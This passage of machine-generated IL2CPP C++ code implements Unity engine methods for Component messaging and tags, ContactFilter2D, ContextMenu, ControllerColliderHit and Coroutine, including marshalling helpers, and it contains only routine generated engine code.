("UnityEngine.Component::GetComponentsForListInternal(System.Type,System.Object)"); _il2cpp_icall_func(__this, ___searchType0, ___resultList1); } // System.Void UnityEngine.Component::GetComponents(System.Type,System.Collections.Generic.List`1) extern "C" void Component_GetComponents_m3712441745 (Component_t3819376471 * __this, Type_t * ___type0, List_1_t3188497603 * ___results1, const MethodInfo* method) { { Type_t * L_0 = ___type0; List_1_t3188497603 * L_1 = ___results1; Component_GetComponentsForListInternal_m4241828391(__this, L_0, L_1, /*hidden argument*/NULL); return; } } // System.String UnityEngine.Component::get_tag() extern "C" String_t* Component_get_tag_m357168014 (Component_t3819376471 * __this, const MethodInfo* method) { String_t* V_0 = NULL; { GameObject_t1756533147 * L_0 = Component_get_gameObject_m3105766835(__this, /*hidden argument*/NULL); NullCheck(L_0); String_t* L_1 = GameObject_get_tag_m1425941094(L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_0012; } IL_0012: { String_t* L_2 = V_0; return L_2; } } // System.Void UnityEngine.Component::set_tag(System.String) extern "C" void Component_set_tag_m4292293503 (Component_t3819376471 * __this, String_t* ___value0, const MethodInfo* method) { { GameObject_t1756533147 * L_0 = Component_get_gameObject_m3105766835(__this, /*hidden argument*/NULL); String_t* L_1 = ___value0; NullCheck(L_0); GameObject_set_tag_m717375123(L_0, L_1, /*hidden argument*/NULL); return; } } // System.Boolean UnityEngine.Component::CompareTag(System.String) extern "C" bool Component_CompareTag_m3443292365 (Component_t3819376471 * __this, String_t* ___tag0, const MethodInfo* method) { typedef bool (*Component_CompareTag_m3443292365_ftn) (Component_t3819376471 *, String_t*); static Component_CompareTag_m3443292365_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Component_CompareTag_m3443292365_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Component::CompareTag(System.String)"); return _il2cpp_icall_func(__this, ___tag0); } // System.Void UnityEngine.Component::SendMessageUpwards(System.String,System.Object,UnityEngine.SendMessageOptions) extern "C" void Component_SendMessageUpwards_m2584088787 (Component_t3819376471 * __this, String_t* ___methodName0, Il2CppObject * ___value1, int32_t ___options2, const MethodInfo* method) { typedef void (*Component_SendMessageUpwards_m2584088787_ftn) (Component_t3819376471 *, String_t*, Il2CppObject *, int32_t); static Component_SendMessageUpwards_m2584088787_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Component_SendMessageUpwards_m2584088787_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Component::SendMessageUpwards(System.String,System.Object,UnityEngine.SendMessageOptions)"); _il2cpp_icall_func(__this, ___methodName0, ___value1, ___options2); } // System.Void UnityEngine.Component::SendMessageUpwards(System.String,System.Object) extern "C" void Component_SendMessageUpwards_m325086847 (Component_t3819376471 * __this, String_t* ___methodName0, Il2CppObject * ___value1, const MethodInfo* method) { int32_t V_0 = 0; { V_0 = 0; String_t* L_0 = ___methodName0; Il2CppObject * L_1 = ___value1; int32_t L_2 = V_0; Component_SendMessageUpwards_m2584088787(__this, L_0, L_1, L_2, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Component::SendMessageUpwards(System.String) extern "C" void Component_SendMessageUpwards_m2041012277 (Component_t3819376471 * __this, String_t* ___methodName0, const MethodInfo* method) { int32_t V_0 = 0; Il2CppObject * V_1 = NULL; { V_0 = 0; V_1 = NULL; String_t* L_0 = ___methodName0; Il2CppObject * L_1 = V_1; int32_t L_2 = V_0; Component_SendMessageUpwards_m2584088787(__this, L_0, L_1, L_2, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Component::SendMessageUpwards(System.String,UnityEngine.SendMessageOptions) extern "C" void Component_SendMessageUpwards_m19741277 (Component_t3819376471 * __this, String_t* ___methodName0, int32_t ___options1, const MethodInfo* method) { { String_t* L_0 = ___methodName0; int32_t L_1 = ___options1; Component_SendMessageUpwards_m2584088787(__this, L_0, NULL, L_1, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Component::SendMessage(System.String,System.Object,UnityEngine.SendMessageOptions) extern "C" void Component_SendMessage_m2241432133 (Component_t3819376471 * __this, String_t* ___methodName0, Il2CppObject * ___value1, int32_t ___options2, const MethodInfo* method) { typedef void (*Component_SendMessage_m2241432133_ftn) (Component_t3819376471 *, String_t*, Il2CppObject *, int32_t); static Component_SendMessage_m2241432133_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Component_SendMessage_m2241432133_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Component::SendMessage(System.String,System.Object,UnityEngine.SendMessageOptions)"); _il2cpp_icall_func(__this, ___methodName0, ___value1, ___options2); } // System.Void UnityEngine.Component::SendMessage(System.String,System.Object) extern "C" void Component_SendMessage_m913946877 (Component_t3819376471 * __this, String_t* ___methodName0, Il2CppObject * ___value1, const MethodInfo* method) { int32_t V_0 = 0; { V_0 = 0; String_t* L_0 = ___methodName0; Il2CppObject * L_1 = ___value1; int32_t L_2 = V_0; Component_SendMessage_m2241432133(__this, L_0, L_1, L_2, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Component::SendMessage(System.String) extern "C" void Component_SendMessage_m3615678587 (Component_t3819376471 * __this, String_t* ___methodName0, const MethodInfo* method) { int32_t V_0 = 0; Il2CppObject * V_1 = NULL; { V_0 = 0; V_1 = NULL; String_t* L_0 = ___methodName0; Il2CppObject * L_1 = V_1; int32_t L_2 = V_0; Component_SendMessage_m2241432133(__this, L_0, L_1, L_2, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Component::SendMessage(System.String,UnityEngine.SendMessageOptions) extern "C" void Component_SendMessage_m4199581575 (Component_t3819376471 * __this, String_t* ___methodName0, int32_t ___options1, const MethodInfo* method) { { String_t* L_0 = ___methodName0; int32_t L_1 = ___options1; Component_SendMessage_m2241432133(__this, L_0, NULL, L_1, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Component::BroadcastMessage(System.String,System.Object,UnityEngine.SendMessageOptions) extern "C" void Component_BroadcastMessage_m2230184532 (Component_t3819376471 * __this, String_t* ___methodName0, Il2CppObject * ___parameter1, int32_t ___options2, const MethodInfo* method) { typedef void (*Component_BroadcastMessage_m2230184532_ftn) (Component_t3819376471 *, String_t*, Il2CppObject *, int32_t); static Component_BroadcastMessage_m2230184532_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Component_BroadcastMessage_m2230184532_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Component::BroadcastMessage(System.String,System.Object,UnityEngine.SendMessageOptions)"); _il2cpp_icall_func(__this, ___methodName0, ___parameter1, ___options2); } // System.Void UnityEngine.Component::BroadcastMessage(System.String,System.Object) extern "C" void Component_BroadcastMessage_m1308086896 (Component_t3819376471 * __this, String_t* ___methodName0, Il2CppObject * ___parameter1, const MethodInfo* method) { int32_t V_0 = 0; { V_0 = 0; String_t* L_0 = ___methodName0; Il2CppObject * L_1 = ___parameter1; int32_t L_2 = V_0; Component_BroadcastMessage_m2230184532(__this, L_0, L_1, L_2, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Component::BroadcastMessage(System.String) extern "C" void Component_BroadcastMessage_m1706240890 (Component_t3819376471 * __this, String_t* ___methodName0, const MethodInfo* method) { int32_t V_0 = 0; Il2CppObject * V_1 = NULL; { V_0 = 0; V_1 = NULL; String_t* L_0 = ___methodName0; Il2CppObject * L_1 = V_1; int32_t L_2 = V_0; Component_BroadcastMessage_m2230184532(__this, L_0, L_1, L_2, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Component::BroadcastMessage(System.String,UnityEngine.SendMessageOptions) extern "C" void Component_BroadcastMessage_m444672650 (Component_t3819376471 * __this, String_t* ___methodName0, int32_t ___options1, const MethodInfo* method) { { String_t* L_0 = ___methodName0; int32_t L_1 = ___options1; Component_BroadcastMessage_m2230184532(__this, L_0, NULL, L_1, /*hidden argument*/NULL); return; } } // Conversion methods for marshalling of: UnityEngine.ContactFilter2D extern "C" void ContactFilter2D_t1672660996_marshal_pinvoke(const ContactFilter2D_t1672660996& unmarshaled, ContactFilter2D_t1672660996_marshaled_pinvoke& marshaled) { marshaled.___useTriggers_0 = static_cast(unmarshaled.get_useTriggers_0()); marshaled.___useLayerMask_1 = static_cast(unmarshaled.get_useLayerMask_1()); marshaled.___useDepth_2 = static_cast(unmarshaled.get_useDepth_2()); marshaled.___useNormalAngle_3 = static_cast(unmarshaled.get_useNormalAngle_3()); marshaled.___layerMask_4 = unmarshaled.get_layerMask_4(); marshaled.___minDepth_5 = unmarshaled.get_minDepth_5(); marshaled.___maxDepth_6 = unmarshaled.get_maxDepth_6(); marshaled.___minNormalAngle_7 = unmarshaled.get_minNormalAngle_7(); marshaled.___maxNormalAngle_8 = unmarshaled.get_maxNormalAngle_8(); } extern "C" void ContactFilter2D_t1672660996_marshal_pinvoke_back(const ContactFilter2D_t1672660996_marshaled_pinvoke& marshaled, ContactFilter2D_t1672660996& unmarshaled) { bool unmarshaled_useTriggers_temp_0 = false; unmarshaled_useTriggers_temp_0 = static_cast(marshaled.___useTriggers_0); unmarshaled.set_useTriggers_0(unmarshaled_useTriggers_temp_0); bool unmarshaled_useLayerMask_temp_1 = false; unmarshaled_useLayerMask_temp_1 = static_cast(marshaled.___useLayerMask_1); unmarshaled.set_useLayerMask_1(unmarshaled_useLayerMask_temp_1); bool unmarshaled_useDepth_temp_2 = false; unmarshaled_useDepth_temp_2 = static_cast(marshaled.___useDepth_2); unmarshaled.set_useDepth_2(unmarshaled_useDepth_temp_2); bool unmarshaled_useNormalAngle_temp_3 = false; unmarshaled_useNormalAngle_temp_3 = static_cast(marshaled.___useNormalAngle_3); unmarshaled.set_useNormalAngle_3(unmarshaled_useNormalAngle_temp_3); LayerMask_t3188175821 unmarshaled_layerMask_temp_4; memset(&unmarshaled_layerMask_temp_4, 0, sizeof(unmarshaled_layerMask_temp_4)); unmarshaled_layerMask_temp_4 = marshaled.___layerMask_4; unmarshaled.set_layerMask_4(unmarshaled_layerMask_temp_4); float unmarshaled_minDepth_temp_5 = 0.0f; unmarshaled_minDepth_temp_5 = marshaled.___minDepth_5; unmarshaled.set_minDepth_5(unmarshaled_minDepth_temp_5); float unmarshaled_maxDepth_temp_6 = 0.0f; unmarshaled_maxDepth_temp_6 = marshaled.___maxDepth_6; unmarshaled.set_maxDepth_6(unmarshaled_maxDepth_temp_6); float unmarshaled_minNormalAngle_temp_7 = 0.0f; unmarshaled_minNormalAngle_temp_7 = marshaled.___minNormalAngle_7; unmarshaled.set_minNormalAngle_7(unmarshaled_minNormalAngle_temp_7); float unmarshaled_maxNormalAngle_temp_8 = 0.0f; unmarshaled_maxNormalAngle_temp_8 = marshaled.___maxNormalAngle_8; unmarshaled.set_maxNormalAngle_8(unmarshaled_maxNormalAngle_temp_8); } // Conversion method for clean up from marshalling of: UnityEngine.ContactFilter2D extern "C" void ContactFilter2D_t1672660996_marshal_pinvoke_cleanup(ContactFilter2D_t1672660996_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.ContactFilter2D extern "C" void ContactFilter2D_t1672660996_marshal_com(const ContactFilter2D_t1672660996& unmarshaled, ContactFilter2D_t1672660996_marshaled_com& marshaled) { marshaled.___useTriggers_0 = static_cast(unmarshaled.get_useTriggers_0()); marshaled.___useLayerMask_1 = static_cast(unmarshaled.get_useLayerMask_1()); marshaled.___useDepth_2 = static_cast(unmarshaled.get_useDepth_2()); marshaled.___useNormalAngle_3 = static_cast(unmarshaled.get_useNormalAngle_3()); marshaled.___layerMask_4 = unmarshaled.get_layerMask_4(); marshaled.___minDepth_5 = unmarshaled.get_minDepth_5(); marshaled.___maxDepth_6 = unmarshaled.get_maxDepth_6(); marshaled.___minNormalAngle_7 = unmarshaled.get_minNormalAngle_7(); marshaled.___maxNormalAngle_8 = unmarshaled.get_maxNormalAngle_8(); } extern "C" void ContactFilter2D_t1672660996_marshal_com_back(const ContactFilter2D_t1672660996_marshaled_com& marshaled, ContactFilter2D_t1672660996& unmarshaled) { bool unmarshaled_useTriggers_temp_0 = false; unmarshaled_useTriggers_temp_0 = static_cast(marshaled.___useTriggers_0); unmarshaled.set_useTriggers_0(unmarshaled_useTriggers_temp_0); bool unmarshaled_useLayerMask_temp_1 = false; unmarshaled_useLayerMask_temp_1 = static_cast(marshaled.___useLayerMask_1); unmarshaled.set_useLayerMask_1(unmarshaled_useLayerMask_temp_1); bool unmarshaled_useDepth_temp_2 = false; unmarshaled_useDepth_temp_2 = static_cast(marshaled.___useDepth_2); unmarshaled.set_useDepth_2(unmarshaled_useDepth_temp_2); bool unmarshaled_useNormalAngle_temp_3 = false; unmarshaled_useNormalAngle_temp_3 = static_cast(marshaled.___useNormalAngle_3); unmarshaled.set_useNormalAngle_3(unmarshaled_useNormalAngle_temp_3); LayerMask_t3188175821 unmarshaled_layerMask_temp_4; memset(&unmarshaled_layerMask_temp_4, 0, sizeof(unmarshaled_layerMask_temp_4)); unmarshaled_layerMask_temp_4 = marshaled.___layerMask_4; unmarshaled.set_layerMask_4(unmarshaled_layerMask_temp_4); float unmarshaled_minDepth_temp_5 = 0.0f; unmarshaled_minDepth_temp_5 = marshaled.___minDepth_5; unmarshaled.set_minDepth_5(unmarshaled_minDepth_temp_5); float unmarshaled_maxDepth_temp_6 = 0.0f; unmarshaled_maxDepth_temp_6 = marshaled.___maxDepth_6; unmarshaled.set_maxDepth_6(unmarshaled_maxDepth_temp_6); float unmarshaled_minNormalAngle_temp_7 = 0.0f; unmarshaled_minNormalAngle_temp_7 = marshaled.___minNormalAngle_7; unmarshaled.set_minNormalAngle_7(unmarshaled_minNormalAngle_temp_7); float unmarshaled_maxNormalAngle_temp_8 = 0.0f; unmarshaled_maxNormalAngle_temp_8 = marshaled.___maxNormalAngle_8; unmarshaled.set_maxNormalAngle_8(unmarshaled_maxNormalAngle_temp_8); } // Conversion method for clean up from marshalling of: UnityEngine.ContactFilter2D extern "C" void ContactFilter2D_t1672660996_marshal_com_cleanup(ContactFilter2D_t1672660996_marshaled_com& marshaled) { } // System.Void UnityEngine.ContactFilter2D::SetLayerMask(UnityEngine.LayerMask) extern "C" void ContactFilter2D_SetLayerMask_m846404302 (ContactFilter2D_t1672660996 * __this, LayerMask_t3188175821 ___layerMask0, const MethodInfo* method) { { LayerMask_t3188175821 L_0 = ___layerMask0; __this->set_layerMask_4(L_0); __this->set_useLayerMask_1((bool)1); return; } } extern "C" void ContactFilter2D_SetLayerMask_m846404302_AdjustorThunk (Il2CppObject * __this, LayerMask_t3188175821 ___layerMask0, const MethodInfo* method) { ContactFilter2D_t1672660996 * _thisAdjusted = reinterpret_cast(__this + 1); ContactFilter2D_SetLayerMask_m846404302(_thisAdjusted, ___layerMask0, method); } // System.Void UnityEngine.ContactFilter2D::SetDepth(System.Single,System.Single) extern "C" void ContactFilter2D_SetDepth_m3891076190 (ContactFilter2D_t1672660996 * __this, float ___minDepth0, float ___maxDepth1, const MethodInfo* method) { { float L_0 = ___minDepth0; __this->set_minDepth_5(L_0); float L_1 = ___maxDepth1; __this->set_maxDepth_6(L_1); __this->set_useDepth_2((bool)1); return; } } extern "C" void ContactFilter2D_SetDepth_m3891076190_AdjustorThunk (Il2CppObject * __this, float ___minDepth0, float ___maxDepth1, const MethodInfo* method) { ContactFilter2D_t1672660996 * _thisAdjusted = reinterpret_cast(__this + 1); ContactFilter2D_SetDepth_m3891076190(_thisAdjusted, ___minDepth0, ___maxDepth1, method); } // UnityEngine.ContactFilter2D UnityEngine.ContactFilter2D::CreateLegacyFilter(System.Int32,System.Single,System.Single) extern "C" ContactFilter2D_t1672660996 ContactFilter2D_CreateLegacyFilter_m1912787689 (Il2CppObject * __this /* static, unused */, int32_t ___layerMask0, float ___minDepth1, float ___maxDepth2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ContactFilter2D_CreateLegacyFilter_m1912787689_MetadataUsageId); s_Il2CppMethodInitialized = true; } ContactFilter2D_t1672660996 V_0; memset(&V_0, 0, sizeof(V_0)); ContactFilter2D_t1672660996 V_1; memset(&V_1, 0, sizeof(V_1)); { Initobj (ContactFilter2D_t1672660996_il2cpp_TypeInfo_var, (&V_0)); IL2CPP_RUNTIME_CLASS_INIT(Physics2D_t2540166467_il2cpp_TypeInfo_var); bool L_0 = Physics2D_get_queriesHitTriggers_m361275035(NULL /*static, unused*/, /*hidden argument*/NULL); (&V_0)->set_useTriggers_0(L_0); int32_t L_1 = ___layerMask0; LayerMask_t3188175821 L_2 = LayerMask_op_Implicit_m3804506591(NULL /*static, unused*/, L_1, /*hidden argument*/NULL); ContactFilter2D_SetLayerMask_m846404302((&V_0), L_2, /*hidden argument*/NULL); float L_3 = ___minDepth1; float L_4 = ___maxDepth2; ContactFilter2D_SetDepth_m3891076190((&V_0), L_3, L_4, /*hidden argument*/NULL); ContactFilter2D_t1672660996 L_5 = V_0; V_1 = L_5; goto IL_0032; } IL_0032: { ContactFilter2D_t1672660996 L_6 = V_1; return L_6; } } // System.Void UnityEngine.ContextMenu::.ctor(System.String) extern "C" void ContextMenu__ctor_m666643627 (ContextMenu_t2283362202 * __this, String_t* ___itemName0, const MethodInfo* method) { { String_t* L_0 = ___itemName0; ContextMenu__ctor_m1669818156(__this, L_0, (bool)0, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.ContextMenu::.ctor(System.String,System.Boolean) extern "C" void ContextMenu__ctor_m1669818156 (ContextMenu_t2283362202 * __this, String_t* ___itemName0, bool ___isValidateFunction1, const MethodInfo* method) { { String_t* L_0 = ___itemName0; bool L_1 = ___isValidateFunction1; ContextMenu__ctor_m3931483141(__this, L_0, L_1, ((int32_t)1000000), /*hidden argument*/NULL); return; } } // System.Void UnityEngine.ContextMenu::.ctor(System.String,System.Boolean,System.Int32) extern "C" void ContextMenu__ctor_m3931483141 (ContextMenu_t2283362202 * __this, String_t* ___itemName0, bool ___isValidateFunction1, int32_t ___priority2, const MethodInfo* method) { { Attribute__ctor_m1730479323(__this, /*hidden argument*/NULL); String_t* L_0 = ___itemName0; __this->set_menuItem_0(L_0); bool L_1 = ___isValidateFunction1; __this->set_validate_1(L_1); int32_t L_2 = ___priority2; __this->set_priority_2(L_2); return; } } // Conversion methods for marshalling of: UnityEngine.ControllerColliderHit extern "C" void ControllerColliderHit_t4070855101_marshal_pinvoke(const ControllerColliderHit_t4070855101& unmarshaled, ControllerColliderHit_t4070855101_marshaled_pinvoke& marshaled) { Il2CppCodeGenException* ___m_Controller_0Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_Controller' of type 'ControllerColliderHit': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_Controller_0Exception); } extern "C" void ControllerColliderHit_t4070855101_marshal_pinvoke_back(const ControllerColliderHit_t4070855101_marshaled_pinvoke& marshaled, ControllerColliderHit_t4070855101& unmarshaled) { Il2CppCodeGenException* ___m_Controller_0Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_Controller' of type 'ControllerColliderHit': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_Controller_0Exception); } // Conversion method for clean up from marshalling of: UnityEngine.ControllerColliderHit extern "C" void ControllerColliderHit_t4070855101_marshal_pinvoke_cleanup(ControllerColliderHit_t4070855101_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.ControllerColliderHit extern "C" void ControllerColliderHit_t4070855101_marshal_com(const ControllerColliderHit_t4070855101& unmarshaled, ControllerColliderHit_t4070855101_marshaled_com& marshaled) { Il2CppCodeGenException* ___m_Controller_0Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_Controller' of type 'ControllerColliderHit': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_Controller_0Exception); } extern "C" void ControllerColliderHit_t4070855101_marshal_com_back(const ControllerColliderHit_t4070855101_marshaled_com& marshaled, ControllerColliderHit_t4070855101& unmarshaled) { Il2CppCodeGenException* ___m_Controller_0Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_Controller' of type 'ControllerColliderHit': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_Controller_0Exception); } // Conversion method for clean up from marshalling of: UnityEngine.ControllerColliderHit extern "C" void ControllerColliderHit_t4070855101_marshal_com_cleanup(ControllerColliderHit_t4070855101_marshaled_com& marshaled) { } // System.Void UnityEngine.ControllerColliderHit::.ctor() extern "C" void ControllerColliderHit__ctor_m2990717326 (ControllerColliderHit_t4070855101 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // UnityEngine.CharacterController UnityEngine.ControllerColliderHit::get_controller() extern "C" CharacterController_t4094781467 * ControllerColliderHit_get_controller_m531319176 (ControllerColliderHit_t4070855101 * __this, const MethodInfo* method) { CharacterController_t4094781467 * V_0 = NULL; { CharacterController_t4094781467 * L_0 = __this->get_m_Controller_0(); V_0 = L_0; goto IL_000d; } IL_000d: { CharacterController_t4094781467 * L_1 = V_0; return L_1; } } // UnityEngine.Collider UnityEngine.ControllerColliderHit::get_collider() extern "C" Collider_t3497673348 * ControllerColliderHit_get_collider_m3897495767 (ControllerColliderHit_t4070855101 * __this, const MethodInfo* method) { Collider_t3497673348 * V_0 = NULL; { Collider_t3497673348 * L_0 = __this->get_m_Collider_1(); V_0 = L_0; goto IL_000d; } IL_000d: { Collider_t3497673348 * L_1 = V_0; return L_1; } } // UnityEngine.Rigidbody UnityEngine.ControllerColliderHit::get_rigidbody() extern "C" Rigidbody_t4233889191 * ControllerColliderHit_get_rigidbody_m4025380167 (ControllerColliderHit_t4070855101 * __this, const MethodInfo* method) { Rigidbody_t4233889191 * V_0 = NULL; { Collider_t3497673348 * L_0 = __this->get_m_Collider_1(); NullCheck(L_0); Rigidbody_t4233889191 * L_1 = Collider_get_attachedRigidbody_m3279305420(L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_0012; } IL_0012: { Rigidbody_t4233889191 * L_2 = V_0; return L_2; } } // UnityEngine.GameObject UnityEngine.ControllerColliderHit::get_gameObject() extern "C" GameObject_t1756533147 * ControllerColliderHit_get_gameObject_m3793104279 (ControllerColliderHit_t4070855101 * __this, const MethodInfo* method) { GameObject_t1756533147 * V_0 = NULL; { Collider_t3497673348 * L_0 = __this->get_m_Collider_1(); NullCheck(L_0); GameObject_t1756533147 * L_1 = Component_get_gameObject_m3105766835(L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_0012; } IL_0012: { GameObject_t1756533147 * L_2 = V_0; return L_2; } } // UnityEngine.Transform UnityEngine.ControllerColliderHit::get_transform() extern "C" Transform_t3275118058 * ControllerColliderHit_get_transform_m3183428555 (ControllerColliderHit_t4070855101 * __this, const MethodInfo* method) { Transform_t3275118058 * V_0 = NULL; { Collider_t3497673348 * L_0 = __this->get_m_Collider_1(); NullCheck(L_0); Transform_t3275118058 * L_1 = Component_get_transform_m2697483695(L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_0012; } IL_0012: { Transform_t3275118058 * L_2 = V_0; return L_2; } } // UnityEngine.Vector3 UnityEngine.ControllerColliderHit::get_point() extern "C" Vector3_t2243707580 ControllerColliderHit_get_point_m3573703281 (ControllerColliderHit_t4070855101 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); { Vector3_t2243707580 L_0 = __this->get_m_Point_2(); V_0 = L_0; goto IL_000d; } IL_000d: { Vector3_t2243707580 L_1 = V_0; return L_1; } } // UnityEngine.Vector3 UnityEngine.ControllerColliderHit::get_normal() extern "C" Vector3_t2243707580 ControllerColliderHit_get_normal_m1098215280 (ControllerColliderHit_t4070855101 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); { Vector3_t2243707580 L_0 = __this->get_m_Normal_3(); V_0 = L_0; goto IL_000d; } IL_000d: { Vector3_t2243707580 L_1 = V_0; return L_1; } } // UnityEngine.Vector3 UnityEngine.ControllerColliderHit::get_moveDirection() extern "C" Vector3_t2243707580 ControllerColliderHit_get_moveDirection_m3053186297 (ControllerColliderHit_t4070855101 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); { Vector3_t2243707580 L_0 = __this->get_m_MoveDirection_4(); V_0 = L_0; goto IL_000d; } IL_000d: { Vector3_t2243707580 L_1 = V_0; return L_1; } } // System.Single UnityEngine.ControllerColliderHit::get_moveLength() extern "C" float ControllerColliderHit_get_moveLength_m94453726 (ControllerColliderHit_t4070855101 * __this, const MethodInfo* method) { float V_0 = 0.0f; { float L_0 = __this->get_m_MoveLength_5(); V_0 = L_0; goto IL_000d; } IL_000d: { float L_1 = V_0; return L_1; } } // System.Boolean UnityEngine.ControllerColliderHit::get_push() extern "C" bool ControllerColliderHit_get_push_m2528314697 (ControllerColliderHit_t4070855101 * __this, const MethodInfo* method) { bool V_0 = false; { int32_t L_0 = __this->get_m_Push_6(); V_0 = (bool)((((int32_t)((((int32_t)L_0) == ((int32_t)0))? 1 : 0)) == ((int32_t)0))? 1 : 0); goto IL_0013; } IL_0013: { bool L_1 = V_0; return L_1; } } // System.Void UnityEngine.ControllerColliderHit::set_push(System.Boolean) extern "C" void ControllerColliderHit_set_push_m3582188484 (ControllerColliderHit_t4070855101 * __this, bool ___value0, const MethodInfo* method) { ControllerColliderHit_t4070855101 * G_B2_0 = NULL; ControllerColliderHit_t4070855101 * G_B1_0 = NULL; int32_t G_B3_0 = 0; ControllerColliderHit_t4070855101 * G_B3_1 = NULL; { bool L_0 = ___value0; G_B1_0 = __this; if (!L_0) { G_B2_0 = __this; goto IL_000e; } } { G_B3_0 = 1; G_B3_1 = G_B1_0; goto IL_000f; } IL_000e: { G_B3_0 = 0; G_B3_1 = G_B2_0; } IL_000f: { NullCheck(G_B3_1); G_B3_1->set_m_Push_6(G_B3_0); return; } } // Conversion methods for marshalling of: UnityEngine.Coroutine extern "C" void Coroutine_t2299508840_marshal_pinvoke(const Coroutine_t2299508840& unmarshaled, Coroutine_t2299508840_marshaled_pinvoke& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void Coroutine_t2299508840_marshal_pinvoke_back(const Coroutine_t2299508840_marshaled_pinvoke& marshaled, Coroutine_t2299508840& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.Coroutine extern "C" void Coroutine_t2299508840_marshal_pinvoke_cleanup(Coroutine_t2299508840_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.Coroutine extern "C" void Coroutine_t2299508840_marshal_com(const Coroutine_t2299508840& unmarshaled, Coroutine_t2299508840_marshaled_com& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void Coroutine_t2299508840_marshal_com_back(const Coroutine_t2299508840_marshaled_com& marshaled, Coroutine_t2299508840& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.Coroutine extern "C" void Coroutine_t2299508840_marshal_com_cleanup(Coroutine_t2299508840_marshaled_com& marshaled) { } // System.Void UnityEngine.Coroutine::.ctor() extern "C" void Coroutine__ctor_m1253937571 (Coroutine_t2299508840 * __this, const MethodInfo* method) { { YieldInstruction__ctor_m2014522928(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Coroutine::ReleaseCoroutine() extern "C" void Coroutine_ReleaseCoroutine_m833118514 (Coroutine_t2299508840 * __this, const MethodInfo* method) { typedef void (*Coroutine_ReleaseCoroutine_m833118514_ftn) (Coroutine_t2299508840 *); static Coroutine_ReleaseCoroutine_m833118514_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Coroutine_ReleaseCoroutine_m833118514_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Coroutine::ReleaseCoroutine()"); _il2cpp_icall_func(__this); } // System.Void UnityEngine.Coroutine::Finalize() extern "C" void Coroutine_Finalize_m3953619693 (Coroutine_t2299508840 * __this, const MethodInfo* method) { Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { } IL_0001: try { // begin try (depth: 1) Coroutine_ReleaseCoroutine_m833118514(__this, /*hidden argument*/NULL); IL2CPP_LEAVE(0x13, FINALLY_000c); } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto 